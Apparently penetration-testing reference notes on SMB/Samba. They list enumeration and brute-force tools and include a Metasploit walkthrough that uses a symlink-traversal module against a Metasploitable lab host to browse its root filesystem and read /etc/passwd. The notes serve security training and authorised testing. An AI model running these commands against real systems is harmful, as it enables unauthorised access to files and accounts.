SMB (139 & 445)

Samba (SMB), when configured with a writeable file share and “wide links” enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared.

• NetBIOS enumeration
  • Enum
    • enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>
  • Null Session
    • net use \\192.168.1.1\ipc$ “” /u:””
      • net view \\ip_address
      • Dumpsec
  • Smbclient
    • smbclient -L //server/share password options
  • Superscan
    • Enumeration tab.
  • user2sid/sid2user
  • Winfo
• NetBIOS brute force
  • Hydra
  • Brutus
  • Cain & Abel
  • getacct
  • NAT (NetBIOS Auditing Tool)
• Examine Configuration Files
  • Smb.conf
  • lmhosts

Metasploit

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]

• nmapnmap -p 139,445 IP-RANGE
• nbtscannbtscan -r IP-RANGE
• enum4linuxenum4linux -a HOST

Samba (SMB)

1. https://pen-testing.sans.org/blog/2013/07/24/plundering-windows-account-info-via-authenticated-smb-sessions
2. https://www.blackhillsinfosec.com/?p=4645